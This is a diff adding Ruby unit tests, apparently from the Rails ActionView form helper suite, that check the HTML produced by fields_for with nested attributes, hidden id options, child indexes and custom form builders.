+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_using_erb_and_inline_block
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author, include_id: false) { |af|
+ af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_inherited
+ @post.author = Author.new(321)
+
+ form_for(@post, include_id: false) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_override
+ @post.author = Author.new(321)
+
+ form_for(@post, include_id: false) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author, include_id: true) { |af|
+ af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.hidden_field(:id)
+ concat af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.text_field(:name)
+ }
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment, include_id: false) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_inherited
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+ @post.author = Author.new(321)
+
+ form_for(@post, include_id: false) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.text_field(:name)
+ }
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_override
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+ @post.author = Author.new(321)
+
+ form_for(@post, include_id: false) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author, include_id: true) { |af|
+ concat af.text_field(:name)
+ }
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_using_erb_and_inline_block
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.hidden_field(:id)
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
+ @post.comments = [Comment.new, Comment.new]
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="new comment" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
+ @post.comments = [Comment.new(321), Comment.new]
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_an_empty_supplied_attributes_collection
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ f.fields_for(:comments, []) do |cf|
+ concat cf.text_field(:name)
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:comments, @post.comments) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_arel_like
+ @post.comments = ArelLike.new
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:comments, @post.comments) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_label_translation_with_more_than_10_records
+ @post.comments = Array.new(11) { |id| Comment.new(id + 1) }
+
+ I18n.expects(:t).with('post.comments.body', default: [:"comment.body", ''], scope: "helpers.label").times(11).returns "Write body here"
+
+ form_for(@post) do |f|
+ f.fields_for(:comments) do |cf|
+ concat cf.label(:body)
+ end
+ end
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
+ comments = Array.new(2) { |id| Comment.new(id + 1) }
+ @post.comments = []
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:comments, comments) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
+ @post.comments = [Comment.new(321), Comment.new]
+ yielded_comments = []
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:comments) { |cf|
+ concat cf.text_field(:name)
+ yielded_comments << cf.object
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ assert_equal yielded_comments, @post.comments
+ end
+
+ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+ @post.comments = []
+
+ form_for(@post) do |f|
+ concat f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ class FakeAssociationProxy
+ def to_ary
+ [1, 2, 3]
+ end
+ end
+
+ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association_with_proxy
+ @post.comments = FakeAssociationProxy.new
+
+ form_for(@post) do |f|
+ concat f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ expected = 0
+ @post.comments.each do |comment|
+ f.fields_for(:comments, comment) { |cf|
+ assert_equal cf.index, expected
+ expected += 1
+ }
+ end
+ end
+ end
+
+ def test_nested_fields_for_index_method_with_existing_and_new_records_on_a_nested_attributes_collection_association
+ @post.comments = [Comment.new(321), Comment.new]
+
+ form_for(@post) do |f|
+ expected = 0
+ @post.comments.each do |comment|
+ f.fields_for(:comments, comment) { |cf|
+ assert_equal cf.index, expected
+ expected += 1
+ }
+ end
+ end
+ end
+
+ def test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nested_attributes_collection
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ expected = 0
+ f.fields_for(:comments, @post.comments) { |cf|
+ assert_equal cf.index, expected
+ expected += 1
+ }
+ end
+ end
+
+ def test_nested_fields_for_index_method_with_child_index_option_override_on_a_nested_attributes_collection_association
+ @post.comments = []
+
+ form_for(@post) do |f|
+ f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
+ assert_equal cf.index, 'abc'
+ }
+ end
+ end
+
+ def test_nested_fields_uses_unique_indices_for_different_collection_associations
+ @post.comments = [Comment.new(321)]
+ @post.tags = [Tag.new(123), Tag.new(456)]
+ @post.comments[0].relevances = []
+ @post.tags[0].relevances = []
+ @post.tags[1].relevances = []
+
+ form_for(@post) do |f|
+ concat f.fields_for(:comments, @post.comments[0]) { |cf|
+ concat cf.text_field(:name)
+ concat cf.fields_for(:relevances, CommentRelevance.new(314)) { |crf|
+ concat crf.text_field(:value)
+ }
+ }
+ concat f.fields_for(:tags, @post.tags[0]) { |tf|
+ concat tf.text_field(:value)
+ concat tf.fields_for(:relevances, TagRelevance.new(3141)) { |trf|
+ concat trf.text_field(:value)
+ }
+ }
+ concat f.fields_for('tags', @post.tags[1]) { |tf|
+ concat tf.text_field(:value)
+ concat tf.fields_for(:relevances, TagRelevance.new(31415)) { |trf|
+ concat trf.text_field(:value)
+ }
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' +
+ '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+ '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" type="text" value="tag #123" />' +
+ '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' +
+ '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' +
+ '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' +
+ '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" type="text" value="tag #456" />' +
+ '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' +
+ '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' +
+ '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_hash_like_model
+ @author = HashBackedAuthor.new
+
+ form_for(@post) do |f|
+ concat f.fields_for(:author, @author) { |af|
+ concat af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="hash backed author" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for
+ output_buffer = fields_for(:post, @post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_index
+ output_buffer = fields_for("post[]", @post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+ "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[123][secret]' type='hidden' value='0' />" +
+ "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_nil_index_option_override
+ output_buffer = fields_for("post[]", @post, index: nil) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
+ "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[][secret]' type='hidden' value='0' />" +
+ "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_index_option_override
+ output_buffer = fields_for("post[]", @post, index: "abc") do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[abc][title]' type='text' id='post_abc_title' value='Hello World' />" +
+ "<textarea name='post[abc][body]' id='post_abc_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[abc][secret]' type='hidden' value='0' />" +
+ "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_without_object
+ output_buffer = fields_for(:post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_only_object
+ output_buffer = fields_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_object_with_bracketed_name
+ output_buffer = fields_for("author[post]", @post) do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ assert_dom_equal "<label for=\"author_post_title\">Title</label>" +
+ "<input name='author[post][title]' type='text' id='author_post_title' value='Hello World' />",
+ output_buffer
+ end
+
+ def test_fields_for_object_with_bracketed_name_and_index
+ output_buffer = fields_for("author[post]", @post, index: 1) do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" +
+ "<input name='author[post][1][title]' type='text' id='author_post_1_title' value='Hello World' />",
+ output_buffer
+ end
+
+ def test_form_builder_does_not_have_form_for_method
+ assert !ActionView::Helpers::FormBuilder.instance_methods.include?(:form_for)
+ end
+
+ def test_form_for_and_fields_for
+ form_for(@post, as: :post, html: { id: 'create-post' }) do |post_form|
+ concat post_form.text_field(:title)
+ concat post_form.text_area(:body)
+
+ concat fields_for(:parent_post, @post) { |parent_fields|
+ concat parent_fields.check_box(:secret)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'create-post', 'edit_post', method: 'patch') do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='parent_post[secret]' type='hidden' value='0' />" +
+ "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_and_fields_for_with_object
+ form_for(@post, as: :post, html: { id: 'create-post' }) do |post_form|
+ concat post_form.text_field(:title)
+ concat post_form.text_area(:body)
+
+ concat post_form.fields_for(@comment) { |comment_fields|
+ concat comment_fields.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'create-post', 'edit_post', method: 'patch') do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_and_fields_for_with_non_nested_association_and_without_object
+ form_for(@post) do |f|
+ concat f.fields_for(:category) { |c|
+ concat c.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[category][name]' type='text' id='post_category_name' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ class LabelledFormBuilder < ActionView::Helpers::FormBuilder
+ (field_helpers - %w(hidden_field)).each do |selector|
+ class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def #{selector}(field, *args, &proc)
+ ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe
+ end
+ RUBY_EVAL
+ end
+ end
+
+ def test_form_for_with_labelled_builder
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+ "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_default_form_builder
+ old_default_form_builder, ActionView::Base.default_form_builder =
+ ActionView::Base.default_form_builder, LabelledFormBuilder
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+ "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ ActionView::Base.default_form_builder = old_default_form_builder
+ end
+
+ def test_lazy_loading_default_form_builder
+ old_default_form_builder, ActionView::Base.default_form_builder =
+ ActionView::Base.default_form_builder, "FormHelperTest::LabelledFormBuilder"
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ ActionView::Base.default_form_builder = old_default_form_builder
+ end
+
+ def test_fields_for_with_labelled_builder
+ output_buffer = fields_for(:post, @post, builder: LabelledFormBuilder) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+ "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
+ klass = nil
+
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ f.fields_for(:comments, Comment.new) do |nested_fields|
+ klass = nested_fields.class
+ ''
+ end
+ end
+
+ assert_equal LabelledFormBuilder, klass
+ end
